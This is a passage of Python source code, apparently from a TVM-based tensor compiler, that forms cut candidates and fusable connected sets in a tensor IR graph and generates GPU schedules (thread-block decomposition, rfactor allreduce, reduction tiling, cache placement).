return len(self.op_list)
def __getitem__(self, index):
return self.op_list[index]
def has(self, op):
return op in self.op_set
def __repr__(self):
return "CutCandidate"
def __str__(self):
return self.__repr__()
# for a partition generator, it handles a whole graph.
def form_cut_candidates(tir_graph):
"""Form a list of cut candidate.
Parameters
----------
tir_graph : PyTIRGraph
The graph from which cut candidate are formed.
Returns
-------
list of CutCandidate
The formed list of CutCandidate.
"""
if tir_graph.loss is not None:
loss = [tir_graph.loss]
else:
loss = []
root_tensors = tir_graph.outputs + loss + \
tir_graph.gradients + tir_graph.updates
root_ops = [x.op for x in root_tensors]
ret = []
def _must_cut(cur):
if not isinstance(cur, tvm.te.tensor.ComputeOp):
return False
num_consumer = 0
for i in range(cur.num_outputs):
if cur.output(i) in tir_graph.down_graph:
num_consumer += len(tir_graph.down_graph[cur.output(i)])
if num_consumer > 1:
return True
visited = set()
def _helper(cur, cut_candidate):
if not isinstance(cur, tvm.te.tensor.ComputeOp):
return
if cur in visited:
return
visited.add(cur)
if tir_graph.op_stat_dict[cur].injective:
if _must_cut(cur):
cut_candidate = CutCandidate()
cut_candidate.add(cur)
ret.append(cut_candidate)
else:
cut_candidate.add(cur)
for t in cur.input_tensors:
_helper(t.op, cut_candidate)
else:
for t in cur.input_tensors:
cut_candidate = CutCandidate()
ret.append(cut_candidate)
_helper(t.op, cut_candidate)
for op in root_ops:
cut_candidate = CutCandidate()
ret.append(cut_candidate)
_helper(op, cut_candidate)
non_empty = list(filter(lambda x: not x.empty(), ret))
return non_empty
class PartitionGenerator(object):
def __init__(self):
pass
def generate(self):
raise NotImplementedError()
class SingleCut(PartitionGenerator):
def __init__(self, tir_graph, name, cut_candidate, space, tuner):
self.tir_graph = tir_graph
self.name = name
self.cut_candidate = cut_candidate
self.space = space
self.tuner = tuner
def generate(self):
self.make_cut()
def make_cut(self):
num_candidate = self.cut_candidate.size()
self.space.add_partition(self.name, num_candidate, default=[num_candidate])
choice = self.tuner.propose_partition(self.name)
if choice == num_candidate:
# no cut
pass
else:
cut_point = self.cut_candidate[choice]
visited = set()
def _helper(cur, head):
if cur in visited:
return
visited.add(cur)
if cur == cut_point:
self.tir_graph.op_stat_dict[cur].head = False
head = False
for t in cur.input_tensors:
if self.cut_candidate.has(t.op):
_helper(t.op, head)
_helper(self.cut_candidate.op_list[0], True)
class ConnectedSet(object):
"""
prologue can be {}
master can be []
epilogue can be []
the order of prologue and epilogue has no effect on schedules
"""
def __init__(self, prologue, master, epilogue, base):
assert isinstance(prologue, dict)
assert isinstance(epilogue, (list, tuple))
self.inputs = {}
self.prologue = prologue
self.master = master
self.epilogue = epilogue
self.base = base
def has_master(self):
return len(self.master) > 0
def iso_base(self):
return not (len(self.master) == 1 and self.master[0] == self.base)
def empty(self):
return self.base is None
def __repr__(self):
ret = "ConnectedSet\n"
ret += "prologue=" + str(self.prologue) + "\n"
ret += "master=" + str(self.master) + "\n"
ret += "epilogue=" + str(self.epilogue) + "\n"
ret += "base=" + str(self.base) + "\n"
return ret
def __str__(self):
return self.__repr__()
# for a primitive generator, it handles a subgraph.
# In a subgraph, every two pair of adjacent nodes
# may have a relation that indicates that they should
# be fused together.
def form_connected_sets(subgraph, op_stat_dict, tensors, ops, down_graph):
"""Form a list of connected set.
Parameters
----------
subgraph : TIRSubgraph
The subgraph from which connected sets are formed.
op_stat_dict : dict from tvm.te.tensor.ComputeOp to PyOpState
Used to check attributes of an operation.
tensors : list of tvm.te.tensor.Tensor
ops : list of tvm.te.tensor.ComputeOp
down_graph: : dict from tvm.te.tensor.Tensor to
list of tvm.te.tensor.ComputeOp
Source tensors to their consumers.
Returns
-------
list of ConnectedSet
The formed list of ConnectedSet, usually of size 1.
"""
def _is_root(op, down_graph):
is_root = True
for i in range(op.num_outputs):
if op.output(i) in down_graph:
is_root = False
break
return is_root
# these ops can be base nodes
root_ops = filter(lambda x: _is_root(x, down_graph), ops)
connected_set_list = []
def can_fuse(pre_stat, post_stat):
if pre_stat.num_consumers > 1:
# do not fuse multi-output
return False
if pre_stat.reductive and post_stat.reductive:
# do not fuse reductive nodes
return False
if pre_stat.injective and post_stat.injective:
return not ((not pre_stat.head) and post_stat.head)
if pre_stat.injective and post_stat.reductive:
return pre_stat.head
if pre_stat.reductive and post_stat.injective:
return not post_stat.head
return False
visited = set()
def helper(cur, connected_set, cur_master=None):
if cur in visited:
return
visited.add(cur)
add_base = False
if cur not in op_stat_dict:
return
# we use helper from bottom to up
# so it should be the base node
if connected_set.base is None:
add_base = True
connected_set.base = cur
if op_stat_dict[cur].reductive:
connected_set.master.append(cur)
cur_master = cur
elif not add_base:
if cur_master is not None:
connected_set.prologue[cur] = cur_master
else:
connected_set.epilogue.append(cur)
# if connected_set.master is None:
# if op_stat_dict[cur].reductive:
# # this is the master
# connected_set.master = cur
# elif connected_set.master is None:
# if op_stat_dict[cur].reductive:
# # this is the master
# connected_set.master = cur
# else:
# # this is injective
# # we are still in epilogue
# connected_set.epilogue.append(cur)
# else:
# # we are in prologue
# connected_set.prologue.append(cur)
# propagate up
for t in cur.input_tensors:
if t.op in op_stat_dict:
pre_stat = op_stat_dict[t.op]
post_stat = op_stat_dict[cur]
if can_fuse(pre_stat, post_stat):
helper(t.op, connected_set, cur_master=cur_master)
else:
new_set = ConnectedSet({}, [], [], None)
connected_set_list.append(new_set)
helper(t.op, new_set, cur_master=cur_master)
elif isinstance(t.op, tvm.te.tensor.PlaceholderOp):
if cur_master is not None:
if t not in connected_set.inputs:
connected_set.inputs[t] = []
connected_set.inputs[t].append(cur_master)
else:
if t not in connected_set.inputs:
connected_set.inputs[t] = []
connected_set.inputs[t].append(connected_set.base)
for op in root_ops:
new_set = ConnectedSet({}, [], [], None)
connected_set_list.append(new_set)
helper(op, new_set, cur_master=None)
non_empty = list(filter(lambda x: not x.empty(), connected_set_list))
return non_empty
class PrimitiveGenerator(object):
def __init__(self, connected_set, scheduler):
self.sch = None
self.connected_set = connected_set
self.scheduler = scheduler
def generate(self):
raise NotImplementedError()
def decide_allreduce(subgraph, connected_set, down_graph, ratio=2.0):
base = connected_set.base
masters = connected_set.master
if not connected_set.has_master():
return False
allreduce = True
for i, master in enumerate(masters):
spatial = 1
reduction = 1
for axis in base.axis:
ext = to_int(axis.dom.extent)
spatial *= ext
for axis in master.reduce_axis:
ext = to_int(axis.dom.extent)
reduction *= ext
if reduction < ratio * spatial:
allreduce = False
return allreduce
if len(masters) > 1:
return False
return allreduce
class GPUScheduleMasterBaseSet(PrimitiveGenerator):
"""
Schedule generator for connected set that
contains both master nodes and base node.
Args:
--------------------------
name: string
the namespace of this generator,
used for schedule space knob
subgraph: PyTIRSubGraph
connected_set: ConnectedSet
down_graph: dict of tensor to list of ops
this is used to get the consumer
operators of a tvm tensor
op_stat_dict: dict of operation to state
scheduler: Scheduler
"""
def __init__(self, name, subgraph, connected_set, down_graph, op_stat_dict, scheduler):
super(GPUScheduleMasterBaseSet, self).__init__(connected_set, scheduler)
self.name = name
self.subgraph = subgraph
self.op_stat_dict = op_stat_dict
self.down_graph = down_graph
# read caches, tensor->cache
self.read_shared_caches = {}
self.read_local_caches = {}
self.schedule_allreduce = decide_allreduce(
subgraph, connected_set, down_graph)
# such case we take conservative decisions
# this decision is coupled with the following
# schedules, so be careful when changing this
# decision
if self.schedule_allreduce:
if len(connected_set.master) != 1:
self.schedule_allreduce = False
# kernel scope
self.kernel_scope = None
# spatial axis
self.bx = None
self.by = None
self.bz = None
self.vx = None
self.vy = None
self.vz = None
self.tx = None
self.ty = None
self.tz = None
self.ix = None
self.iy = None
self.iz = None
# the extent of threads
self.ext_tx = -1
self.ext_ty = -1
self.ext_tz = -1
# reduce axis
self.rx_list = {}
self.ry_list = {}
self.rz_list = {}
# if we do rfactor
self.rf = None
def generate(self, sch):
"""
generate the whole schedule primitives
for the given schedule
"""
# use the given schedule
self.sch = sch
self.create_cache()
self.thread_block_decomposition()
self.schedule_reductive()
self.cache_fetch()
self.fuse_prologue()
self.fuse_epilogue()
# self.unroll_loop()
def create_cache(self):
"""
prepare shared/local read/write cache
for parallel reduction, we don't use
cache currently as the support in tvm
is not general
"""
if self.schedule_allreduce:
# currently, we don't consider cache for allreduce
# prepare thread axis
tx = tvm.te.thread_axis("threadIdx.x")
# prepare master and base
masters = self.connected_set.master
base = self.connected_set.base
# according to the decision of allreduce
# we know there is only one master here
for i, master in enumerate(masters):
reduce_axis = self.sch[master].op.reduce_axis
# only rfactor the biggest reduce axis
to_sort = zip(reduce_axis, [to_int(x.dom.extent) for x in reduce_axis])
after_sort = list(sorted(to_sort, key=lambda x: x[1]))
# axis is the dim that has the largest extent
axis = after_sort[-1][0]
# filter out extent=1
# prefer extent=32
# self.space.add_split(self.name, "tile_k", axis, nparts=2, filters=[[1, 1]], default=[[-1, 32], [32, -1]])
# factors = self.tuner.propose_split(self.name, "tile_k")
# whether use inner axis to do allreduce
# self.space.add_rfactor(self.name)
# use_factor = self.tuner.propose_rfactor(self.name)
num_loops = len(reduce_axis)
extent = to_int(axis.dom.extent)
stat = self.op_stat_dict[master]
# self.num_add = 0
# self.num_mul = 0
# self.num_div = 0
# self.num_branch = 0
# self.num_logic = 0
# self.num_special = 0
flops = stat.num_add + stat.num_mul + stat.num_div
factors, use_factor = self.scheduler.schedule_allreduce(self.name, num_loops, extent, flops)
# TODO: why rfactor only takes tensor as inputs?
if use_factor == 1:
outer, inner = self.sch[master].split(axis, factor=factors[1])
MF = self.sch.rfactor(master.output(0), inner)
self.ext_tx = factors[1]
else:
outer, inner = self.sch[master].split(axis, nparts=factors[0])
MF = self.sch.rfactor(master.output(0), outer)
self.ext_tx = factors[0]
# record the important attributes
self.rf = MF
self.tx = self.sch[master].op.reduce_axis[0]
# parallel reduction
self.sch[master].bind(self.tx, tx)
self.sch[MF].compute_at(self.sch[master], self.tx)
self.sch[master].set_store_predicate(tx.var.equal(0))
self.sch[base].set_store_predicate(tx.var.equal(0))
else:
# for all the input data, create cache
# for inp in self.subgraph.inputs.keys():
# if inp in self.connected_set.inputs and len(self.connected_set.inputs[inp]) > 1:
# # one input is shared by many consumers
# # TODO: how to use compute at in such case?
# # currently, we don't use cache for it
# continue
# inp_shared = self.sch.cache_read(inp, "shared", self.down_graph[inp])
# inp_local = self.sch.cache_read(inp_shared, "local", self.down_graph[inp])
# self.read_shared_caches[inp] = inp_shared
# self.read_local_caches[inp] = inp_local
# the reductive op is regarded as output cache
masters = self.connected_set.master
for master in masters:
self.sch[master].set_scope("local")
def thread_block_decomposition(self):
# prepare thread axis
bx = tvm.te.thread_axis("blockIdx.x")
by = tvm.te.thread_axis("blockIdx.y")
bz = tvm.te.thread_axis("blockIdx.z")
vx = tvm.te.thread_axis("vthread")
vy = tvm.te.thread_axis("vthread")
vz = tvm.te.thread_axis("vthread")
tx = tvm.te.thread_axis("threadIdx.x")
ty = tvm.te.thread_axis("threadIdx.y")
tz = tvm.te.thread_axis("threadIdx.z")
# TODO: the logic of allreduce and non-allreduce are quite
# similar, we should write cleaner code in future.
# For now, just use the long code blocks.
if self.schedule_allreduce:
# prepare the base
base = self.connected_set.base
org_spatial_axis = self.sch[base].op.axis
num_inputs = len(base.input_tensors)
# do not care about axis with dim = 1
# spatial_axis = list(filter(lambda x: to_int(x.dom.extent) > 1, spatial_axis))
spatial_axis = []
left_axis = []
for x in org_spatial_axis:
if to_int(x.dom.extent) > 1:
spatial_axis.append(x)
else:
left_axis.append(x)
# make the kernel scope
# kernel_scope = spatial_axis[0]
# kernel_scope, left = self.sch[base].split(kernel_scope, nparts=1)
# spatial_axis[0] = left
# self.kernel_scope = kernel_scope
num_dim = len(spatial_axis)
if num_dim == 0:
ox, ix = self.sch[base].split(self.sch[base].op.axis[0], nparts=1)
vx, ix = self.sch[base].split(ix, nparts=1)
tx, ix = self.sch[base].split(ix, nparts=1)
self.bx = ox
self.vx = vx
self.tx = tx
self.ix = ix
self.sch[base].bind(self.bx, bx)
elif num_dim == 1:
# self.space.add_split(self.name, "tile_x", spatial_axis[0], nparts=2)
# factors = self.tuner.propose_split(self.name, "tile_x")
ext_x = to_int(spatial_axis[0].dom.extent)
factors, = self.scheduler.schedule_decomposition(
self.name, (ext_x,), 1, num_inputs, 1)
split_axis = []
axis = spatial_axis[0]
for f in factors[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis.append(outer)
split_axis.append(axis)
self.bx = split_axis[0]
self.ix = split_axis[1]
self.sch[base].bind(self.bx, bx)
elif num_dim == 2:
# self.space.add_split(self.name, "tile_y", spatial_axis[0], nparts=2)
# self.space.add_split(self.name, "tile_x", spatial_axis[1], nparts=2)
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_y = to_int(spatial_axis[0].dom.extent)
ext_x = to_int(spatial_axis[1].dom.extent)
factors_x, factors_y = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y), 1, num_inputs, 1)
split_axis_y = []
axis = spatial_axis[0]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = spatial_axis[1]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.by = split_axis_y[0]
self.iy = split_axis_y[1]
self.bx = split_axis_x[0]
self.ix = split_axis_x[1]
self.sch[base].reorder(self.by, self.bx, *left_axis,
self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.by, by)
elif num_dim == 3:
# self.space.add_split(self.name, "tile_z", spatial_axis[0], nparts=2)
# self.space.add_split(self.name, "tile_y", spatial_axis[1], nparts=2)
# self.space.add_split(self.name, "tile_x", spatial_axis[2], nparts=2)
# factors_z = self.tuner.propose_split(self.name, "tile_z")
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_z = to_int(spatial_axis[0].dom.extent)
ext_y = to_int(spatial_axis[1].dom.extent)
ext_x = to_int(spatial_axis[2].dom.extent)
factors_x, factors_y, factors_z = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y, ext_z), 1, num_inputs, 1)
split_axis_z = []
axis = spatial_axis[0]
for f in factors_z[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_z.append(outer)
split_axis_z.append(axis)
split_axis_y = []
axis = spatial_axis[1]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = spatial_axis[2]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.bz = split_axis_z[0]
self.iz = split_axis_z[1]
self.by = split_axis_y[0]
self.iy = split_axis_y[1]
self.bx = split_axis_x[0]
self.ix = split_axis_x[1]
self.sch[base].reorder(self.bz, self.by, self.bx, *left_axis,
self.iz, self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.bz, bz)
else:
# the dim number > 3
# find the smallest dims
to_sort = zip(
spatial_axis, [to_int(x.dom.extent) for x in spatial_axis])
# ascending
after_sort = list(sorted(to_sort, key=lambda x: x[1]))
outer_extent = reduce(lambda x, y: x * y, [x[1] for x in after_sort[:-2]], 1)
after_sort = [x[0] for x in after_sort]
# fuse the small axis together
# parallel them through block z dim
self.sch[base].reorder(*after_sort)
fuse_axis = self.sch[base].fuse(*after_sort[:-2])
# self.space.add_split(self.name, "tile_y", spatial_axis[-2], nparts=2)
# self.space.add_split(self.name, "tile_x", spatial_axis[-1], nparts=2)
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_y = to_int(spatial_axis[-2].dom.extent)
ext_x = to_int(spatial_axis[-1].dom.extent)
factors_x, factors_y = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y), outer_extent, num_inputs, 1)
split_axis_y = []
axis = after_sort[-2]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = after_sort[-1]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.bz = fuse_axis
self.by = split_axis_y[0]
self.iy = split_axis_y[1]
self.bx = split_axis_x[0]
self.ix = split_axis_x[1]
self.sch[base].reorder(self.bz, self.by, self.bx, *left_axis,
self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.bz, bz)
else: # non-allreduce
base = self.connected_set.base
org_spatial_axis = self.sch[base].op.axis
num_inputs = len(base.input_tensors)
# do not care about axis with dim = 1
# spatial_axis = list(filter(lambda x: to_int(x.dom.extent) > 1, spatial_axis))
spatial_axis = []
left_axis = []
for x in org_spatial_axis:
if to_int(x.dom.extent) > 1:
spatial_axis.append(x)
else:
left_axis.append(x)
# make the kernel scope
# kernel_scope = spatial_axis[0]
# kernel_scope, left = self.sch[base].split(kernel_scope, nparts=1)
# spatial_axis[0] = left
# self.kernel_scope = kernel_scope
num_dim = len(spatial_axis)
if num_dim == 0:
ox, ix = self.sch[base].split(self.sch[base].op.axis[0], nparts=1)
vx, ix = self.sch[base].split(ix, nparts=1)
tx, ix = self.sch[base].split(ix, nparts=1)
self.bx = ox
self.vx = vx
self.tx = tx
self.ix = ix
self.sch[base].bind(self.bx, bx)
elif num_dim == 1:
# self.space.add_split(
# self.name, "tile_x", spatial_axis[0], nparts=4, default=[[-1, 2, 32, -1]])
# factors = self.tuner.propose_split(self.name, "tile_x")
ext_x = to_int(spatial_axis[0].dom.extent)
factors, = self.scheduler.schedule_decomposition(
self.name, (ext_x,), 1, num_inputs, 0)
self.ext_tx = factors[2]
split_axis = []
axis = spatial_axis[0]
for f in factors[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis.append(outer)
split_axis.append(axis)
self.bx = split_axis[0]
self.vx = split_axis[1]
self.tx = split_axis[2]
self.ix = split_axis[3]
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
elif num_dim == 2:
# self.space.add_split(
# self.name, "tile_y", spatial_axis[0], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_x", spatial_axis[1], nparts=4, default=[[-1, 2, 32, -1]])
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_y = to_int(spatial_axis[0].dom.extent)
ext_x = to_int(spatial_axis[1].dom.extent)
factors_x, factors_y = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y), 1, num_inputs, 0)
self.ext_ty = factors_y[2]
self.ext_tx = factors_x[2]
split_axis_y = []
axis = spatial_axis[0]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = spatial_axis[1]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.by = split_axis_y[0]
self.vy = split_axis_y[1]
self.ty = split_axis_y[2]
self.iy = split_axis_y[3]
self.bx = split_axis_x[0]
self.vx = split_axis_x[1]
self.tx = split_axis_x[2]
self.ix = split_axis_x[3]
self.sch[base].reorder(self.by, self.bx, *left_axis,
self.vy, self.vx,
self.ty, self.tx,
self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.vy, vy)
self.sch[base].bind(self.ty, ty)
elif num_dim == 3:
# self.space.add_split(
# self.name, "tile_z", spatial_axis[0], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_y", spatial_axis[1], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_x", spatial_axis[2], nparts=4, default=[[-1, 2, 32, -1]])
# factors_z = self.tuner.propose_split(self.name, "tile_z")
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_z = to_int(spatial_axis[0].dom.extent)
ext_y = to_int(spatial_axis[1].dom.extent)
ext_x = to_int(spatial_axis[2].dom.extent)
factors_x, factors_y, factors_z = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y, ext_z), 1, num_inputs, 0)
self.ext_tz = factors_z[2]
self.ext_ty = factors_y[2]
self.ext_tx = factors_x[2]
split_axis_z = []
axis = spatial_axis[0]
for f in factors_z[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_z.append(outer)
split_axis_z.append(axis)
split_axis_y = []
axis = spatial_axis[1]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = spatial_axis[2]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.bz = split_axis_z[0]
self.vz = split_axis_z[1]
self.tz = split_axis_z[2]
self.iz = split_axis_z[3]
self.by = split_axis_y[0]
self.vy = split_axis_y[1]
self.ty = split_axis_y[2]
self.iy = split_axis_y[3]
self.bx = split_axis_x[0]
self.vx = split_axis_x[1]
self.tx = split_axis_x[2]
self.ix = split_axis_x[3]
self.sch[base].reorder(self.bz, self.by, self.bx, *left_axis,
self.vz, self.vy, self.vx,
self.tz, self.ty, self.tx,
self.iz, self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.vy, vy)
self.sch[base].bind(self.ty, ty)
self.sch[base].bind(self.bz, bz)
self.sch[base].bind(self.vz, vz)
self.sch[base].bind(self.tz, tz)
else:
# the dim number > 3
# find the smallest dims
to_sort = zip(
spatial_axis, [to_int(x.dom.extent) for x in spatial_axis])
# ascending
after_sort = list(sorted(to_sort, key=lambda x: x[1]))
outer_extent = reduce(lambda x, y: x * y, [x[1] for x in after_sort[:-2]], 1)
after_sort = [x[0] for x in after_sort]
# fuse the small axis together
# parallel them through block z dim
self.sch[base].reorder(*after_sort)
fuse_axis = self.sch[base].fuse(*after_sort[:-2])
# self.space.add_split(
# self.name, "tile_y", spatial_axis[-2], nparts=4, default=[[-1, 2, 32, -1]])
# self.space.add_split(
# self.name, "tile_x", spatial_axis[-1], nparts=4, default=[[-1, 2, 32, -1]])
# factors_y = self.tuner.propose_split(self.name, "tile_y")
# factors_x = self.tuner.propose_split(self.name, "tile_x")
ext_y = to_int(spatial_axis[-2].dom.extent)
ext_x = to_int(spatial_axis[-1].dom.extent)
factors_x, factors_y = self.scheduler.schedule_decomposition(
self.name, (ext_x, ext_y), outer_extent, num_inputs, 0)
self.ext_ty = factors_y[2]
self.ext_tx = factors_x[2]
split_axis_y = []
axis = after_sort[-2]
for f in factors_y[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_y.append(outer)
split_axis_y.append(axis)
split_axis_x = []
axis = after_sort[-1]
for f in factors_x[:-1]:
outer, axis = self.sch[base].split(axis, nparts=f)
split_axis_x.append(outer)
split_axis_x.append(axis)
self.bz = fuse_axis
self.by = split_axis_y[0]
self.vy = split_axis_y[1]
self.ty = split_axis_y[2]
self.iy = split_axis_y[3]
self.bx = split_axis_x[0]
self.vx = split_axis_x[1]
self.tx = split_axis_x[2]
self.ix = split_axis_x[3]
self.sch[base].reorder(self.bz, self.by, self.bx, *left_axis,
self.vy, self.vx,
self.ty, self.tx,
self.iy, self.ix)
self.sch[base].bind(self.bx, bx)
self.sch[base].bind(self.vx, vx)
self.sch[base].bind(self.tx, tx)
self.sch[base].bind(self.by, by)
self.sch[base].bind(self.vy, vy)
self.sch[base].bind(self.ty, ty)
self.sch[base].bind(self.bz, bz)
def schedule_reductive(self):
if self.schedule_allreduce:
# put the reductive into base loop nest
masters = self.connected_set.master
base = self.connected_set.base
assert self.bx is not None
self.sch[masters[0]].compute_at(self.sch[base], self.bx)
else:
masters = self.connected_set.master
base = self.connected_set.base
# put the reductive into base loop nest
assert self.tx is not None
for count, master in enumerate(masters):
self.sch[master].compute_at(self.sch[base], self.tx)
# get all the reduce axis
reduce_axis = self.sch[master].op.reduce_axis
if master not in self.rz_list:
self.rz_list[master] = []
self.ry_list[master] = []
self.rx_list[master] = []
collectors = [self.rz_list[master], self.ry_list[master], self.rx_list[master]]
ext_list = []
for i, axis in enumerate(reduce_axis):
ext_list.append(to_int(axis.dom.extent))
stat = self.op_stat_dict[master]
# self.num_add = 0
# self.num_mul = 0
# self.num_div = 0
# self.num_branch = 0
# self.num_logic = 0
# self.num_special = 0
flops = stat.num_add + stat.num_mul + stat.num_div
num_inputs = len(master.input_tensors)
factor_list = self.scheduler.schedule_reductive(self.name+"_"+str(count), tuple(ext_list), flops, num_inputs)
for i, axis in enumerate(reduce_axis):
# name = "m_"+str(count)+"_tile_r"+str(i)
# self.space.add_split(self.name, name, axis, nparts=3)
# factors = self.tuner.propose_split(self.name, name)
factors = factor_list[i]
j = 0
for f in factors[:-1]:
outer, axis = self.sch[master].split(axis, nparts=f)
collectors[j].append(outer)
j += 1
collectors[j].append(axis)
inner_axis = self.sch[master].op.axis
self.sch[master].reorder(*self.rz_list[master], *self.ry_list[master], *self.rx_list[master], *inner_axis)
def cache_fetch(self):
# it's hard to know the extent of cache array
# so the schedule decision here may damage performance
# TODO: find better solutions
if self.schedule_allreduce:
return
else:
return
tx = tvm.te.thread_axis("threadIdx.x")
ty = tvm.te.thread_axis("threadIdx.y")
tz = tvm.te.thread_axis("threadIdx.z")
num_reduce_list = []
num_spatial_list = []
for i, (tensor, shared) in enumerate(self.read_shared_caches.items()):
master = self.connected_set.inputs[tensor][0]
if master != self.connected_set.base:
num_reduce_list.append(len(self.rx_list[master]))
num_spatial_list.append(len(self.sch[master].op.axis))
# shared_pos_list, local_pos_list, do_vectorize_list = \
# self.scheduler.schedule_cache_pos(self.name, num_reduce_list, num_spatial_list)
shared_pos_list = [-1 for x in self.read_shared_caches]
local_pos_list = [-1 for x in self.read_shared_caches]
do_vectorize_list = [0 for x in self.read_shared_caches]
pos = 0
for i, (tensor, shared) in enumerate(self.read_shared_caches.items()):
master = self.connected_set.inputs[tensor][0]
if master == self.connected_set.base:
assert self.ix is not None
base = master
local = self.read_local_caches[tensor]
self.sch[shared].compute_at(self.sch[base], self.ix)
self.sch[local].compute_at(self.sch[base], self.ix)
else:
candidates = self.rx_list[master] + list(self.sch[master].op.axis)
local = self.read_local_caches[tensor]
# name = "cache_pos_"+str(i)
# self.space.add_cache_pos(self.name, name, num_candidates, 2)
# positions = self.tuner.propose_cache_pos(self.name, name)
# share_pos, local_pos = positions
# name = "vectorize_"+str(i)
# self.space.add_vectorize(self.name, name)
# do_vectorize = self.tuner.propose_vectorize(self.name, name)
share_pos = shared_pos_list[pos]
local_pos = local_pos_list[pos]
do_vectorize = do_vectorize_list[pos]
pos += 1
self.sch[shared].compute_at(self.sch[master], candidates[share_pos])
self.sch[local].compute_at(self.sch[master], candidates[local_pos])
# cooperative fetch and vectorization
# spatial_axis = self.sch[shared].op.axis
# num_dim = len(spatial_axis)
# if num_dim == 1:
# if self.ext_tx < 0:
# self.ext_tx = 32
# outer, inner = self.sch[shared].split(spatial_axis[0], nparts=self.ext_tx)
# self.sch[shared].bind(outer, tx)
# if do_vectorize:
# _, inner = self.sch[shared].split(inner, factor=4)
# self.sch[shared].vectorize(inner)
# elif num_dim == 2:
# if self.ext_tx < 0:
# self.ext_tx = 32
# if self.ext_ty < 0:
# self.ext_ty = power_of_x_near(2, math.ceil(1024 / self.ext_tx))
# xo, xi = self.sch[shared].split(spatial_axis[1], nparts=self.ext_tx)
# yo, yi = self.sch[shared].split(spatial_axis[0], nparts=self.ext_ty)
# self.sch[shared].reorder(yo, xo, yi, xi)
# self.sch[shared].bind(xo, tx)
# self.sch[shared].bind(yo, ty)
# if do_vectorize:
# _, inner = self.sch[shared].split(xi, factor=4)
# self.sch[shared].vectorize(inner)
# elif num_dim == 3:
# if self.ext_tx < 0:
# self.ext_tx = 16
# if self.ext_ty < 0:
# self.ext_ty = 16
# if self.ext_tz < 0:
# self.ext_tz = power_of_x_near(2, math.ceil(1024 / (self.ext_tx * self.ext_ty)))
# xo, xi = self.sch[shared].split(spatial_axis[2], nparts=self.ext_tx)
# yo, yi = self.sch[shared].split(spatial_axis[1], nparts=self.ext_ty)
# zo, zi = self.sch[shared].split(spatial_axis[0], nparts=self.ext_tz)
# self.sch[shared].reorder(zo, yo, xo, zi, yi, xi)
# self.sch[shared].bind(xo, tx)
# self.sch[shared].bind(yo, ty)
# self.sch[shared].bind(zo, tz)
# if do_vectorize:
# _, inner = self.sch[shared].split(xi, factor=4)
# self.sch[shared].vectorize(inner)
# else:
# if self.ext_tx < 0:
# self.ext_tx = 16
# if self.ext_ty < 0:
# self.ext_ty = 8
# if self.ext_tz < 0:
# self.ext_tz = power_of_x_near(2, math.ceil(1024 / (self.ext_tx * self.ext_ty)))
# xo, xi = self.sch[shared].split(spatial_axis[-1], nparts=self.ext_tx)
# yo, yi = self.sch[shared].split(spatial_axis[-2], nparts=self.ext_ty)
# zo, zi = self.sch[shared].split(spatial_axis[-3], nparts=self.ext_tz)
# self.sch[shared].reorder(zo, yo, xo, zi, yi, xi, *spatial_axis[:-3])
# self.sch[shared].bind(xo, tx)
